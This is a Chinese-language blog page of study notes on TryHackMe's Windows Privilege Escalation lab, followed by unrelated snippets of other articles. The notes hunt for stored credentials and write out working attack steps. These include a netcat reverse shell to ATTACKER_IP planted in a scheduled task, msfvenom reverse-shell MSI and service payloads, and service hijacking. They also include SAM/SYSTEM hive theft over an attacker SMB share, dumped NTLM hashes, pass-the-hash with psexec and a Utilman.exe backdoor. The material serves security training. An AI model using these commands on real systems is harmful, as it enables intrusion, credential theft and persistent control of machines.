Windows 权限提升 | TryHackMe | Windows Privilege Escalation

article/2025/7/28 6:20:26

Windows 权限提升

[!quote] 权限提升就是利用用户A的主机访问权限,利用目标系统中的漏洞来获取到用户B的访问权限

  • Windows 服务或计划任务的配置错误
  • 账户被赋予过多权限
  • 缺少Windows安全补丁

Windows 用户

Windows系统主要存在两种类型的用户,根据访问级别,分为两类

Administrators这些用户拥有最高权限。他们可以更改任何系统配置参数并访问系统中的任何文件。
Standard Users这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久性或必要的更改,并且只能访问其文件。

任何具有管理权限的用户都属于管理员组,而标准用户属于用户组

特殊的内置账户

SYSTEM / LocalSystem操作系统用于执行内部任务的帐户。它拥有主机上所有文件和资源的完全访问权限,甚至比管理员的权限更高。
Local Service用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。
Network Service用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。

常见的获取密码的位置

获取其他用户访问权限的最简单的方法就是从受到污染的计算机中收集凭证.

Unattended Windows Installation

[!quote] 在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。这类安装被称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户执行初始设置,所以我们可以找到这些初始设置。

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml
<Credentials><Username>Administrator</Username><Domain>thm.local</Domain><Password>MyPassword123</Password>
</Credentials>

Powershell History

每当用户使用powershell运行命令,命令都会被存储到一个文件中,用于记录之前的文件.

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

[!warning]
上述命令只可以在cmd中运行,因为powershell无法将%userprofile识别为环境变量>

如果想要使用Powershell,那么需要替换为$Env:userprofile

已保存的Windows凭证

Windows 允许我们使用其他用户的凭据。此功能还提供了在系统上保存这些凭据的选项。以下命令将列出已保存的凭据:

cmdkey /list
runas /savecred /user:admin cmd.exe

IIS 配置

Internet 信息服务 (IIS) 是 Windows 安装中的默认 Web 服务器。IIS 上的网站配置存储在名为 web.config的文件中,该文件可以存储数据库密码或已配置的身份验证机制。

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

快速在我呢见中查找数据库连接字符串的命令

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

软件中寻找凭证: PuTTY

PuTTY 是 Windows 系统上常见的 SSH 客户端。用户无需每次都指定连接参数,而是可以存储会话,其中存储了 IP、用户和其他配置,以供日后使用。虽然 PuTTY 不允许用户存储 SSH 密码,但它可以存储包含明文身份验证凭据的代理配置。

#检索存储的代理凭证
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意:Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

其他快速利用方法

计划任务

可以使用schtasks命令来列出计划任务,如果想要详细信息可以使用schtasks /query /tn [task_name] /fo list /v

如果当前用户可以修改和覆盖"待运行任务"的可执行文件,就可以控制任务创建用户的操作,实现权限提升,可以使用icacls命令来检查可执行文件的权限。

C:\> icacls c:\tasks\schtask.bat 
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(F)

从结果中可以看出, BUILTIN\Users 组对该任务的二进制文件拥有完全访问权限 (F)。

可以使用nc来获得一个反向shell

C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
#立即运行计划任务
C:\> schtasks /run /tn vulntask

MSI提权

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些文件可以配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能允许我们生成一个以管理员权限运行的恶意 MSI 文件。

C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer 
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

如果这两个设置了AlwaysInstallElevated = 1,即使是普通用户也会以SYSTEM级别权限来运行

利用这个漏洞,一定要同时设置好这两个参数才可以

msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP_Address] LPORT=[PORT] -f msi -o malicious.msi

运行安装程序来接收反向shell

C:> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

服务错误配置

Windows 服务

Windows 服务由服务控制管理器 (SCM) 管理。SCM 是一个进程,负责根据需要管理服务状态,检查任何给定服务的当前状态,并提供配置服务的方法。
Windows 计算机上的每个服务都会有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件会实现特殊功能以便与 SCM 通信,因此并非所有可执行文件都能成功作为服务启动。每个服务还指定了运行该服务的用户帐户。

可以使用sc qc命令来检查服务配置,关联的可执行文件是通过 BINARY_PATH_NAME 参数指定的,而运行该服务的账户则显示在 SERVICE_START_NAME 参数上。

所有服务配置均存储在注册表中的 HKLM\SYSTEM\CurrentControlSet\Services\ 下:

系统中每个服务都有一个子键。同样,我们可以在 ImagePath 值上看到关联的可执行文件,并在 ObjectName 值上看到用于启动服务的帐户。如果已为该服务配置了 DACL ,它将存储在名为 Security 的子键中。正如您现在所猜测的,默认情况下只有管理员可以修改此类注册表项。

服务可执行文件的不安全权限

C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)NT AUTHORITY\SYSTEM:(I)(F)BUILTIN\Administrators:(I)(F)BUILTIN\Users:(I)(RX)APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)Successfully processed 1 files; Failed processing 0 files

这里可以看到一个Everyone 的修改权限(M)

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP_Address] LPORT=[4445] -f exe-service -o rev-svc.exe
C:\> cd C:\PROGRA~2\SYSTEM~1\C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp1 file(s) moved.
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe1 file(s) moved.#这里要给文件一个所有人都可以启动的权限
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:FSuccessfully processed 1 files.#这里进行重启服务
C:\> sc stop windowsscheduler 
C:\> sc start windowsscheduler

未加引号的服务路径

如果没有加上引号,那么服务在调用程序时,SCM会每一个空格前都作为exe的文件名来调用
这时候如果一般的目录下,非特权用户无法写入,就可以尝试到可以写入的目录按照空格前的字符串作为程序名,来让服务实现调用

C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)BUILTIN\Administrators:(I)(OI)(CI)(F)BUILTIN\Users:(I)(OI)(CI)(RX)BUILTIN\Users:(I)(CI)(AD)BUILTIN\Users:(I)(CI)(WD)CREATOR OWNER:(I)(OI)(CI)(IO)(F)Successfully processed 1 files; Failed processing 0 files

不安全的服务权限

如果服务的可执行文件 DACL 配置正确,并且服务的二进制路径引用正确,您仍然可能有机会利用该服务。如果服务 DACL (而非服务的可执行文件 DACL )允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件,并使用您喜欢的任何帐户(包括 SYSTEM 帐户)运行它。

要从命令行检查服务 DACL ,可以使用 Sysinternals 套件中的 Accesschk 。

C:\tools\AccessChk> accesschk64.exe -qlc thmservice[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEMSERVICE_QUERY_STATUSSERVICE_QUERY_CONFIGSERVICE_INTERROGATESERVICE_ENUMERATE_DEPENDENTSSERVICE_PAUSE_CONTINUESERVICE_STARTSERVICE_STOPSERVICE_USER_DEFINED_CONTROLREAD_CONTROL[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\UsersSERVICE_ALL_ACCESS

这里我们可以看到 BUILTIN\Users 组具有 SERVICE_ALL_ACCESS 权限,这意味着任何用户都可以重新配置该服务。

这里更改服务关联的可执行文件和账户(这里要注意使用sc.exe的时候,等号后面的空格)

C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
C:\> sc stop THMService
C:\> sc start THMService

危险特权

Windows 权限

使用whoami /priv来查看用户分配的权限,这里有一个可利用权限的列表

只要列出来就是拥有这个权限,enabled代表当前这个进程启用了权限,disabled只是没有启用,不代表没有

C:\> whoami /privPRIVILEGES INFORMATION
----------------------Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeBackup/SeRestore

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任意文件,而无需任何现有的 DACL 。此权限背后的想法是允许特定用户在无需完全管理权限的情况下执行系统备份。

备份SAM和SYSTEM哈希

C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.

在攻击者中启动一个网络共享SMB服务器

user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share#然后在目标机器中把文件传输出来
#C:> copy C:\Users\THMBackup\sam.hive \ATTACKER_IP\public  
#C:> copy C:\Users\THMBackup\system.hive \ATTACKER_IP\public\#使用impacket检索密码哈希
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation[_] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821 
[_] Dumping local SAM hashes (uid:rid:lmhash:nthash) 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94::: 
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::#使用管理员的哈希来执行哈希传递攻击
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation[_] Requesting shares on 10.10.175.90..... 
[_] Found writable share ADMIN$ 
[_] Uploading file nfhtabqO.exe 
[_] Opening SVCManager on 10.10.175.90..... 
[_] Creating service RoLE on 10.10.175.90..... 
[_] Starting service RoLE..... 
[!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.1821] 
(c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32> whoami nt authority\system
SeTakeOwnership

SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM 权限运行的服务并获取该服务可执行文件的所有权。

[!warning] 成为文件的所有者并不一定意味着您拥有该文件的权限,但作为所有者,可以为自己分配所需的任何权限

#获取所有权
C:\> takeown /f C:\Windows\System32\Utilman.exeSUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".#授予用户对exe文件的完全权限
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files#替换文件
C:\Windows\System32\> copy cmd.exe utilman.exe1 file(s) copied.
SeImpersonate / SeAssignPrimaryToken

这些权限允许进程模拟其他用户并代表其执行操作。模拟通常是指能够在另一个用户的安全上下文中生成进程或线程。

要使用此类帐户提升权限,需要两个操作

  1. 生成一个进程,以便用户可以连接并对其进行身份验证,从而进行模拟。
  2. 找到一种方法来强制特权用户连接并验证生成的恶意进程。

易受攻击的软件的利用

未修补的软件

使用这条命令来收集已经安装的软件的信息,然后可以到漏洞网站中去收集软件的现有漏洞
wmic product get name,version,vendor

工具

  • WinPEAS
    • 一个用于枚举目标系统以发现提权路径的脚本,针对全系统,注意使用对应系统的利用脚本
  • PrivescCheck
    • 一个Powershell脚本,用于在目标系统中搜索常见的权限提升漏洞
  • WES-NG
    • 一个Python脚本来检索可能导致漏洞的缺失补丁,wes.py systeminfo.txt
    • 需要在目标系统中使用systemifo,然后将结果复制下来
  • Metasploit
    • 使用 multi/recon/local_exploit_suggester 模块来列出可能存在影响的漏洞

http://www.hkcw.cn/article/tKpiJDyQbH.shtml

相关文章

Redis持久化机制

一. Redis应用概述 Redis是一种高性能的KV键值对存储数据库&#xff0c;通常用作数据库、缓存和消息队列等。它支持多种数据结构&#xff0c;如字符串、哈希表、列表、集合和有序集合。Redis具有快速存取和实时响应的特点&#xff0c;广泛应用于Web开发、大数据处理和实时分析…

VMware使用时出现的问题,此文章会不断更新分享使用过程中会出现的问题

VMware使用时出现的问题&#xff0c;此文章会不断更新分享使用过程中会出现的问题 一、VMware安装后没有虚拟网卡&#xff0c;VMnet1&#xff0c;VMnet8显示黄色三角警告 此文章会不断更新&#xff0c;分享VMware使用过程中出现的问题 如果没找到你的问题可以私信我 一、VMware…

60天python训练计划----day40

DAY 40 训练和测试的规范写法 知识点回顾&#xff1a; 彩色和灰度图片测试和训练的规范写法&#xff1a;封装在函数中展平操作&#xff1a;除第一个维度batchsize外全部展平dropout操作&#xff1a;训练阶段随机丢弃神经元&#xff0c;测试阶段eval模式关闭dropout 一.单通道图…

leetcode:479. 最大回文数乘积(python3解法,数学相关算法题)

难度&#xff1a;简单 给定一个整数 n &#xff0c;返回 可表示为两个 n 位整数乘积的 最大回文整数 。因为答案可能非常大&#xff0c;所以返回它对 1337 取余 。 示例 1&#xff1a; 输入&#xff1a;n 2 输出&#xff1a;987 解释&#xff1a;99 x 91 9009, 9009 % 1337 …

vue2 + webpack 老项目升级 node v22 + vite + vue2 实战全记录

前言 随着这些年前端技术的飞速发展&#xff0c;几年前的一些老项目在最新的环境下很可能会出现烂掉的情况。如果项目不需要升级&#xff0c;只需要把编译后的文件放在那里跑而不用管的话还好。但是&#xff0c;某一天产品跑过来给你讲要升级某一个功能&#xff0c;你不得不去…

Golang | 运用分布式搜索引擎实现视频搜索业务

把前面所设计好的搜索引擎引用进来开发一个简单的具体的视频搜索业务。代码结构&#xff1a; handler目录&#xff1a;后端接口&#xff0c;负责接收请求并返回结果&#xff0c;不存在具体的搜索逻辑。video_search目录&#xff1a;具体的搜索逻辑存放在这&#xff0c;包括reca…

硬件学习笔记--64 MCU的ARM核架构发展及特点

MCU&#xff08;微控制器&#xff09;的ARM核架构是当前嵌入式系统的主流选择&#xff0c;其基于ARM Cortex-M系列处理器内核&#xff0c;具有高性能、低功耗、丰富外设支持等特点。以下是ARM核MCU的主要架构及其发展&#xff1a; 1. ARM Cortex-M系列内核概览 ARM Cortex-M系…

【笔记】Windows 系统安装 Scoop 包管理工具

#工作记录 一、问题背景 在进行开源项目 Suna 部署过程中&#xff0c;执行设置向导时遭遇报错&#xff1a;❌ Supabase CLI is not installed. 根据资料检索&#xff0c;需通过 Windows 包管理工具Scoop安装 Supabase CLI。 初始尝试以管理员身份运行 PowerShell 安装 Scoop…

网络安全-等级保护(等保) 3-2-2 GB/T 28449-2019 第7章 现场测评活动/第8章 报告编制活动

################################################################################ GB/T 28449-2019《信息安全技术 网络安全等级保护测评过程指南》是规定了等级测评过程&#xff0c;是纵向的流程&#xff0c;包括&#xff1a;四个基本测评活动:测评准备活动、方案编制活…

软件测评中心如何确保软件品质?需求分析与测试计划很关键

软件测评中心承担着对软件进行评估、测试和审查的任务&#xff0c;它有一套规范的流程来确保软件的品质&#xff0c;并且能够向客户和开发者提供详实的软件状况分析报告。 需求分析环节 这一环节至关重要&#xff0c;必须与客户和开发团队保持密切交流。我们需要从他们那里精…

【C语言编译与链接】--翻译环境和运行环境,预处理,编译,汇编,链接

目录 一.翻译环境和运行环境 二.翻译环境 2.1--预处理(预编译) 2.2--编译 2.2.1--词法分析 2.2.2--语法分析 2.2.3--语义分析 2.3--汇编 2.4--链接 三.运行环境 &#x1f525;个人主页&#xff1a;草莓熊Lotso的个人主页 &#x1f3ac;作者简介&#xff1a;C研发…

matlab实现VMD去噪、SVD去噪,源代码详解

为了更好的利用MATLAB自带的vmd、svd函数&#xff0c;本期作者将详细讲解一下MATLAB自带的这两个分解函数如何使用&#xff0c;以及如何画漂亮的模态分解图。 VMD函数用法详解 首先给出官方vmd函数的调用格式。 [imf,residual,info] vmd(x) 函数的输入&#xff1a; 这里的x是待…

深入理解复数加法与乘法:MATLAB演示

在学习复数的过程中&#xff0c;复数加法与乘法是两个非常基础且重要的概念。复数的加法和乘法操作与我们常见的实数运算有所不同&#xff0c;它们不仅涉及到数值的大小&#xff0c;还有方向和相位的变化。在这篇博客中&#xff0c;我们将通过MATLAB演示来帮助大家更好地理解复…

html+css+js趣味小游戏~Treasure Arena多人竞技(附源码)

下面是一个简单的记忆卡片配对游戏的完整代码&#xff0c;使用HTML、CSS和JavaScript实现&#xff1a; html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"wid…

Linux之文件进程间通信信号

Linux之文件&进程间通信&信号 文件文件描述符文件操作重定向缓冲区一切皆文件的理解文件系统磁盘物理结构&块文件系统结构 软硬链接 进程间通信匿名管道命名管道system V共享内存 信号 文件 首先&#xff0c;Linux下一切皆文件。对于大量的文件&#xff0c;自然要…

笔试强训:Day6

一、小红的口罩&#xff08;贪心优先级队列&#xff09; 登录—专业IT笔试面试备考平台_牛客网 #include<iostream> #include<queue> #include<vector> using namespace std; int n,k; int main(){//用一个小根堆 每次使用不舒适度最小的cin>>n>&…

国密SSL证书和国产SSL证书有什么区别

国密SSL证书和国产SSL证书在定义、算法标准、安全性能、兼容性、应用场景及自主可控性等方面存在显著区别&#xff0c;具体分析如下&#xff1a; 定义与背景 国密SSL证书 采用中国自主研发的密码算法&#xff08;如SM2、SM3、SM4&#xff09;&#xff0c;符合国家密码管理局发…

OramaCore 是您 AI 项目、答案引擎、副驾驶和搜索所需的 AI 运行时。它包括一个成熟的全文搜索引擎、矢量数据库、LLM界面和更多实用程序

一、软件介绍 文末提供程序和源码下载 OramaCore 是您的项目、答案引擎、副驾驶和搜索所需的 AI 运行时。 它包括一个成熟的全文搜索引擎、矢量数据库、LLM具有行动计划和推理功能的接口、用于根据数据编写和运行您自己的自定义代理的 JavaScript 运行时&#xff0c;以及更多…

实验设计与分析(第6版,Montgomery)第5章析因设计引导5.7节思考题5.14 R语言解题

本文是实验设计与分析&#xff08;第6版&#xff0c;Montgomery著&#xff0c;傅珏生译) 第5章析因设计引导5.7节思考题5.14 R语言解题。主要涉及方差分析&#xff0c;正态假设检验&#xff0c;残差分析&#xff0c;交互作用图。 dataframe<-data.frame( strengthc(9.60,9.…

Maven---配置本地仓库

目录 5. 5.1在Maven路径下新建文件夹用于本地仓库存储 5.2 复制本地仓库路径 5.3 找到配置文件路径&#xff0c;使用VSCode方式打开 5.4 新增一行代码 5.5 复制本地仓库路径&#xff0c;设置存储路径 5.1在Maven路径下新建文件夹用于本地仓库存储 5.2 复制本地仓库路径 5…